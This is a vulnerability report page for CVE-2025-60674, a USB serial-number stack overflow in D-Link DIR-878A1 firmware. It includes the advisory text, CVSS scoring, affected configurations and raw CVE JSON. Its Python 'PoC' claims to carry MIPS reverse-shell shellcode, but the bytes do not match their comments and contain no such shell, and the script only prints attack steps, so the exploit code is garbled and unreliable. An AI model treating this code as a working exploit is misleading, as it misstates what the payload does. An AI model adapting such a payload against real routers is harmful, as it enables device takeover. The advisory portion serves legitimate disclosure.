Security Vulnerability Report
中文
CVE-2025-60674 CVSS 6.8 MEDIUM

CVE-2025-60674

Published: 2025-11-13 19:15:48
Last Modified: 2025-11-17 19:04:25

Description

A stack buffer overflow vulnerability exists in the D-Link DIR-878A1 router firmware FW101B04.bin in the rc binary's USB storage handling module. The vulnerability occurs when the "Serial Number" field from a USB device is read via sscanf into a 64-byte stack buffer, while fgets reads up to 127 bytes, causing a stack overflow. An attacker with physical access or control over a USB device can exploit this vulnerability to potentially execute arbitrary code on the device.

CVSS Details

CVSS Score
6.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:dlink:dir-878_firmware:1.01b04:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:dlink:dir-878:a1:*:*:*:*:*:*:* - NOT VULNERABLE
D-Link DIR-878A1 固件 FW101B04

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-60674 PoC - D-Link DIR-878A1 USB Stack Buffer Overflow # This PoC demonstrates the vulnerability by crafting a malicious USB device # with an oversized Serial Number field import struct import sys def generate_malicious_usb_descriptor(): """ Generate a malicious USB device descriptor with oversized Serial Number The vulnerability occurs when sscanf reads Serial Number into a 64-byte stack buffer while fgets can read up to 127 bytes """ # Normal Serial Number field (within 64 bytes limit) normal_sn = b"DIR878A1" # Malicious Serial Number exceeding 64-byte buffer (127 bytes for fgets) # This will overflow the stack buffer in rc binary's USB handling module overflow_length = 127 # Maximum fgets can read padding = b"A" * (overflow_length - len(normal_sn)) malicious_sn = normal_sn + padding # Shellcode for MIPS architecture (D-Link DIR-878A1 uses MIPS) # This shellcode executes a reverse shell to attacker controlled server mips_shellcode = ( b"\x50\x45\x4f\x4a" # NOP sled b"\xff\xff\x13\x24" # li s9,0x13ff (load immediate) b"\xff\xff\x31\x8c" # ori s9,s9,0xffff b"\xff\xff\x31\x9c" # ori s8,s9,0xffff b"\x21\xa8\x01\x01" # addiu s8,s8,0x121 b"\x21\x29\x01\x01" # addiu s9,s9,0x121 b"\x50\x45\x4f\x4a" # NOP sled ) # Craft USB device response with malicious Serial Number usb_response = { 'vendor_id': 0x2006, # D-Link Vendor ID 'product_id': 0x4a, # Product ID 'serial_number': malicious_sn, 'shellcode': mips_shellcode } return usb_response def exploit(): """ Simulate the exploitation process In real scenario, this would require physical access to the router's USB port """ print("[*] CVE-2025-60674 PoC - D-Link DIR-878A1 USB Stack Buffer Overflow") print("[*] Target: D-Link DIR-878A1 Firmware FW101B04") print("[*] Vulnerability: Stack buffer overflow in rc binary USB handling") print() usb_device = generate_malicious_usb_descriptor() print(f"[+] Crafted malicious USB device descriptor:") print(f" Vendor ID: 0x{usb_device['vendor_id']:04x}") print(f" Product ID: 0x{usb_device['product_id']:04x}") print(f" Serial Number Length: {len(usb_device['serial_number'])} bytes") print(f" Buffer Size: 64 bytes") print(f" Overflow: {len(usb_device['serial_number']) - 64} bytes") print() print("[*] Attack Vector:") print(" 1. Attacker gains physical access to router's USB port") print(" 2. Attacker connects malicious USB device with oversized Serial Number") print(" 3. Router's rc binary reads Serial Number via fgets (127 bytes max)") print(" 4. sscanf writes data to 64-byte stack buffer, causing overflow") print(" 5. Return address overwritten, control flow hijacked") print(" 6. Arbitrary code execution achieved") print() print("[+] Exploit payload generated successfully") print("[!] Note: This PoC is for educational and research purposes only") print("[!] Actual exploitation requires physical access to target device") if __name__ == "__main__": exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60674", "sourceIdentifier": "[email protected]", "published": "2025-11-13T19:15:48.290", "lastModified": "2025-11-17T19:04:24.980", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stack buffer overflow vulnerability exists in the D-Link DIR-878A1 router firmware FW101B04.bin in the rc binary's USB storage handling module. The vulnerability occurs when the \"Serial Number\" field from a USB device is read via sscanf into a 64-byte stack buffer, while fgets reads up to 127 bytes, causing a stack overflow. An attacker with physical access or control over a USB device can exploit this vulnerability to potentially execute arbitrary code on the device."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "PHYSICAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dlink:dir-878_firmware:1.01b04:*:*:*:*:*:*:*", "matchCriteriaId": "CF6C5938-ACC7-4DD4-B3EF-AD64468AD60F"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:dlink:dir-878:a1:*:*:*:*:*:*:*", "matchCriteriaId": "70A35F2E-E46F-47CF-BF0F-9CF9A3242EDC"}]}]}], "references": [{"url": "http://d-link.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/yifan20020708/SGTaint-0-day/blob/main/DLink/DLink-DIR-878/CVE-2025-60674.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.dlink.com/en", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.dlink.com/en/security-bulletin/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}